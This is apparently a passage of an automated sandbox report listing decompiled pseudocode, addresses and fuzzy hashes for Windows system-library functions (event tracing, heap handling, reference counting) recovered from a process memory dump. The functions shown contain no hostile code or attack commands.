						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E05707D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E05767016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x056fb037
0x056fb039
0x056fb03b
0x056fb040
0x0574a60e
0x00000000
0x00000000
0x0574a61d
0x056fb04b
0x056fb04e
0x0574a627
0x0574a634
0x00000000
0x00000000
0x0574a641
0x0574a653
0x0574a643
0x0574a64c
0x0574a64c
0x0574a65b
0x00000000
0x00000000
0x00000000
0x0574a66c
0x056fb057
0x056fb057
0x056fb057
0x056fb046
0x056fb046
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 7651f1dba6ce42f6e1a7716af452067c8d27268665a67977845aafeb1fe1198c
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: 2B01BC32604980DFD326CB1CC888F7677DAFB41740F0900A1FA1ACBAA1D728DC40D725

Uniqueness

Uniqueness Score: -1.00%

Function 0579FE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0579FE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x57dd360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E0572FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E05707D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0572B640(E05729AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x0579fe3f
0x0579fe3f
0x0579fe4e
0x0579fe58
0x0579fe5d
0x0579fe5f
0x0579fe6a
0x0579fe72
0x0579fe75
0x0579fe78
0x0579fe83
0x0579fe95
0x0579fe85
0x0579fe8e
0x0579fe8e
0x0579fea0
0x0579fea1
0x0579fea3
0x0579fea8
0x0579febd

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f83f7b6e30be02cc530a80e1991f41422c2666946a3bf61a3dc6088488869f49
Instruction ID: f25307a4d6dcfd7871df2d6ed00bec38c22742197bbaba76a2e2efd3daead836
Opcode Fuzzy Hash: f83f7b6e30be02cc530a80e1991f41422c2666946a3bf61a3dc6088488869f49
Instruction Fuzzy Hash: 2B018471A01258ABCB14DFA9D84AFAEBBB8EF44710F00406AF900EB281DA709941D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0579FEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0579FEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x57dd360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E0572FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E05707D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0572B640(E05729AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x0579fec0
0x0579fec0
0x0579fecf
0x0579fed9
0x0579fede
0x0579fee0
0x0579feeb
0x0579fef3
0x0579fef6
0x0579fef9
0x0579ff04
0x0579ff16
0x0579ff06
0x0579ff0f
0x0579ff0f
0x0579ff21
0x0579ff22
0x0579ff24
0x0579ff29
0x0579ff3e

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa91f61e7c216a24fc02a97796bd79f21a5e7b8828bf4d34ba84903b5ed29c18
Instruction ID: e90e069a6477aeaf110c3ec2cc273f1de9bd0d92e332eb4dee6e8c24b71f12ec
Opcode Fuzzy Hash: aa91f61e7c216a24fc02a97796bd79f21a5e7b8828bf4d34ba84903b5ed29c18
Instruction Fuzzy Hash: 44018471B01658AFCB14DFA9D84AFAEBBB8EF45710F404066F901EB280DA709A01D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 057B8A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E057B8A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x57dd360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E05707D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0572B640(E05729AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x057b8a62
0x057b8a71
0x057b8a79
0x057b8a82
0x057b8a85
0x057b8a89
0x057b8a8c
0x057b8a8f
0x057b8a92
0x057b8a95
0x057b8a9f
0x057b8ab1
0x057b8aa1
0x057b8aaa
0x057b8aaa
0x057b8abc
0x057b8abd
0x057b8abf
0x057b8ac4
0x057b8ada

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a25a45936dbab0c09cc2cdbf8c352094dcd00d80612a890e2aeaf69dece27b01
Instruction ID: e5f3c2f6cf4cd43ce748c474919aff5c380e407c7d9975d91a8b748f2b6a7705
Opcode Fuzzy Hash: a25a45936dbab0c09cc2cdbf8c352094dcd00d80612a890e2aeaf69dece27b01
Instruction Fuzzy Hash: 3E012CB1A0121CAFDB04DFA9D945AEEBBF8FF48710F10405AF905E7341DA74A901DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 057B8ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E057B8ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x57dd360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E05707D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E0572B640(E05729AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x057b8ed6
0x057b8ee5
0x057b8eed
0x057b8ef0
0x057b8efa
0x057b8f03
0x057b8f0c
0x057b8f15
0x057b8f24
0x057b8f27
0x057b8f31
0x057b8f43
0x057b8f33
0x057b8f3c
0x057b8f3c
0x057b8f4e
0x057b8f4f
0x057b8f51
0x057b8f56
0x057b8f69

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a858ddd7ee6e149bda8d0eb336d8d6fe6f2905cff02476eae9e2686e9b4d3d2
Instruction ID: b2a64c42fbc7c814e067f297902346546830ef8bb26884e9c6338ae6b2e74f84
Opcode Fuzzy Hash: 0a858ddd7ee6e149bda8d0eb336d8d6fe6f2905cff02476eae9e2686e9b4d3d2
Instruction Fuzzy Hash: CB111270A00259DFD704DFA8D445BADB7F4FF08300F0442A6E919EB382D6349940DB90

Uniqueness

Uniqueness Score: -1.00%

Function 056EDB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056EDB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E056EDB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E056EE7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L056EE8B0(__ecx, _t14, 0xfff);
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x056edb64
0x056edb66
0x056edb6b
0x056edbaa
0x056edb71
0x056edb76
0x056edb7a
0x056edba3
0x056edb7c
0x056edb87
0x056edb8b
0x05744fa1
0x05744fb3
0x05744fb8
0x056edb91
0x056edb96
0x056edb98
0x056edb98
0x056edb8b
0x056edb7a
0x056edb9d
0x056edba2

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: f2720ffc9bcbee24658dc91b99417a700f014d90670799298589e93f9592aed5
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: 4AF0F6B37076229FD7326A558884F2BB6BA9FD2A60F16003DF1059B748DA608C03D6E4

Uniqueness

Uniqueness Score: -1.00%

Function 056EB1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056EB1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E05707D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E05707D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E05767016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x056eb1e8
0x056eb1ea
0x056eb1f3
0x05744a17
0x056eb1f9
0x056eb1f9
0x056eb1f9
0x056eb201
0x05744a21
0x05744a2e
0x00000000
0x00000000
0x05744a3b
0x05744a4d
0x05744a3d
0x05744a46
0x05744a46
0x05744a55
0x00000000
0x00000000
0x00000000
0x056eb20a
0x056eb20a
0x056eb20a
0x056eb20a

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 199d6a904e44e2bacc88d64563c4c286ee35a261242dafdc00e6a84d8083162a
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: 4C01AD32306680EFDB269669C808F69BBDAFF41754F0900A1EA158B6B1E778D801E724

Uniqueness

Uniqueness Score: -1.00%

Function 0577FE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0577FE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x57dd360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E05707D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0572B640(E05729AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x0577fe96
0x0577fe9e
0x0577fea1
0x0577fead
0x0577feb3
0x0577feb9
0x0577fec3
0x0577fed5
0x0577fec5
0x0577fece
0x0577fece
0x0577fee0
0x0577fee1
0x0577fee3
0x0577fee8
0x0577fefb

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31653ef8909bcb78d7388ac74d5df6dfd201d144182a2fc88fe991eded6303d3
Instruction ID: 19c0e22cffc811849e507094a802106751089d141aa2dec50e2ddf53206ce13a
Opcode Fuzzy Hash: 31653ef8909bcb78d7388ac74d5df6dfd201d144182a2fc88fe991eded6303d3
Instruction Fuzzy Hash: F2014F70A0021CEFCB14DFA8D546A6EB7F4EF04300F144169A945DB382DA35E901DB50

Uniqueness

Uniqueness Score: -1.00%

Function 057B8F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E057B8F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x57dd360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E05707D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E0572B640(E05729AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x057b8f6a
0x057b8f79
0x057b8f81
0x057b8f84
0x057b8f8b
0x057b8f91
0x057b8f94
0x057b8f9e
0x057b8fb0
0x057b8fa0
0x057b8fa9
0x057b8fa9
0x057b8fbb
0x057b8fbc
0x057b8fbe
0x057b8fc3
0x057b8fd6

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57be495bfe0e766fedded64f2569430173722346771dbf8ec009845615572b0d
Instruction ID: 7ea58dbf3bde413c130f6d80a542288231a8fcabe838678e3d0a432634af5988
Opcode Fuzzy Hash: 57be495bfe0e766fedded64f2569430173722346771dbf8ec009845615572b0d
Instruction Fuzzy Hash: 10014474A0121CEFDB04DFA8D549AAEB7F4FF08300F508059B945EB381DA74DA00DB95

Uniqueness

Uniqueness Score: -1.00%

Function 057A131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E057A131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x57dd360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E05707D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0572B640(E05729AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x057a131b
0x057a132a
0x057a1330
0x057a1336
0x057a133e
0x057a1341
0x057a1344
0x057a134f
0x057a1361
0x057a1351
0x057a135a
0x057a135a
0x057a136c
0x057a136d
0x057a136f
0x057a1374
0x057a1387

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31933fb6681a87f0ed072f3ad9ac30a381c0370723080cf5ef113c9620221f0e
Instruction ID: 055a67c72269e8d190fd5c898079b670d622f9881aa534e8fcb8838c3a4e13b7
Opcode Fuzzy Hash: 31933fb6681a87f0ed072f3ad9ac30a381c0370723080cf5ef113c9620221f0e
Instruction Fuzzy Hash: 3A013C71E01258AFCB04EFA9D549AAEB7F4FF48700F408069BD55EB381EA34AA00DB55

Uniqueness

Uniqueness Score: -1.00%

Function 057A1608, Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E057A1608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x57dd360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E05707D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E0572B640(E05729AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x057a1608
0x057a1617
0x057a161d
0x057a1625
0x057a1628
0x057a162b
0x057a1636
0x057a1648
0x057a1638
0x057a1641
0x057a1641
0x057a1653
0x057a1654
0x057a1656
0x057a165b
0x057a166e

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aeffd83bfeee92816bc62276dbe829304ce66b1deb4258f93170c4a99116c2b
Instruction ID: 3efb0158f249e64489a44716360b82aaf28162123fbf12553881fa7f8a7b565e
Opcode Fuzzy Hash: 1aeffd83bfeee92816bc62276dbe829304ce66b1deb4258f93170c4a99116c2b
Instruction Fuzzy Hash: 87F06271A05258EFDB14DFA8D509A6EB7F4EF44300F444169B915EB381EA349900DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0570C577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0570C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E0570C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x56c11cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E057B88F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x0570c577
0x0570c57d
0x0570c581
0x0570c5b5
0x0570c5b9
0x0570c5ce
0x0570c5ce
0x0570c5ca
0x00000000
0x0570c5ca
0x0570c5c4
0x0570c5c8
0x00000000
0x00000000
0x00000000
0x0570c5ad
0x00000000
0x0570c5af

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6a58013376b56c936fd4b2c7c0950b353bec0b8cec16362fa0754424cb0155f
Instruction ID: 1c6be5de2a425e6bf8002366589b0d80976b94f7e58fd2062fd710aa552de19b
Opcode Fuzzy Hash: e6a58013376b56c936fd4b2c7c0950b353bec0b8cec16362fa0754424cb0155f
Instruction Fuzzy Hash: E6F0F0BA915290CFD733C71A804CF22FBEDAB05230F646666D406831C1D2A4CC80E250

Uniqueness

Uniqueness Score: -1.00%

Function 057B8D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E057B8D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x57dd360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E05707D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E0572B640(E05729AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x057b8d34
0x057b8d43
0x057b8d4b
0x057b8d4e
0x057b8d52
0x057b8d5c
0x057b8d6e
0x057b8d5e
0x057b8d67
0x057b8d67
0x057b8d79
0x057b8d7a
0x057b8d7c
0x057b8d81
0x057b8d94

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2b0fc0b7c1b366f9536185eb57673d0868d9d716e956314ff19cb572d116bd
Instruction ID: 3579fd9cd86639a03a5166635bcb1d23f5e42cfea225233fb3866959f22dd268
Opcode Fuzzy Hash: ab2b0fc0b7c1b366f9536185eb57673d0868d9d716e956314ff19cb572d116bd
Instruction Fuzzy Hash: 18F0B470B046189FD714EFB8D44ABAE77B8EF08300F508099E905EB280DA34D900D754

Uniqueness

Uniqueness Score: -1.00%

Function 057A2073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E057A2073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E0579FD22(__ecx);
				_t19 =  *0x57d849c - _t3; // 0x44aac3e9
				if(_t19 == 0) {
					__eflags = _t17 -  *0x57d8748; // 0x0
					if(__eflags <= 0) {
						E057A1C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x57d8724 & 0x00000004;
							if(( *0x57d8724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x57d8724; // 0x0
					return E05798DF1(__ebx, 0xc0000374, 0x57d5890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x057a2076
0x057a2078
0x057a207d
0x057a2083
0x057a20a4
0x057a20aa
0x057a20ac
0x057a20b7
0x057a20ba
0x057a20bc
0x057a20c9
0x057a20c9
0x057a20d0
0x057a20d2
0x00000000
0x057a20d2
0x057a20be
0x057a20c3
0x057a20c5
0x057a20c7
0x00000000
0x00000000
0x057a20c7
0x057a20bc
0x057a20d4
0x057a2085
0x057a2085
0x057a20a3
0x057a20a3

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5c20f3df57856ea704cbb69d4c216302b57bb9e34fb660d05cf606fb9b4aab1
Instruction ID: 89dd8ecd53573386bdfc3174248beeb5a37420920239f0ee4d8a627916089d73
Opcode Fuzzy Hash: f5c20f3df57856ea704cbb69d4c216302b57bb9e34fb660d05cf606fb9b4aab1
Instruction Fuzzy Hash: 39F0272F5271944ADE766B24310ABE22FA1E7C6230F094145E45127202C9348883FA31

Uniqueness

Uniqueness Score: -1.00%

Function 0572927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0572927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E0572FA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E057292C6(_t11, _t14);
				}
				return _t11;
			}

0x05729295
0x05729299
0x0572929f
0x057292aa
0x057292ad
0x057292ae
0x057292af
0x057292b0
0x057292b4
0x057292bb
0x057292bb
0x057292c5

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: db443492782cb510dc9589b7fb1d64abdde7c4c0b872388cf6ccd1d36d09b3de
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: BBE02B323405006BDB119E05CC88F0337EDEF82720F05407CF6001E282C6E5DC0887A0

Uniqueness

Uniqueness Score: -1.00%

Function 0570746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0570746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E056FEB70(__ecx, 0x57d79a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E057295D0();
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x0570746d
0x0570746d
0x0570746d
0x05707471
0x05707488
0x0574f92d
0x0570748e
0x05707491
0x05707495
0x0574f937
0x0574f93a
0x0574f94e
0x0574f953
0x0574f956
0x0574f956
0x05707495
0x00000000
0x05707488
0x05707473
0x05707478
0x0570747d
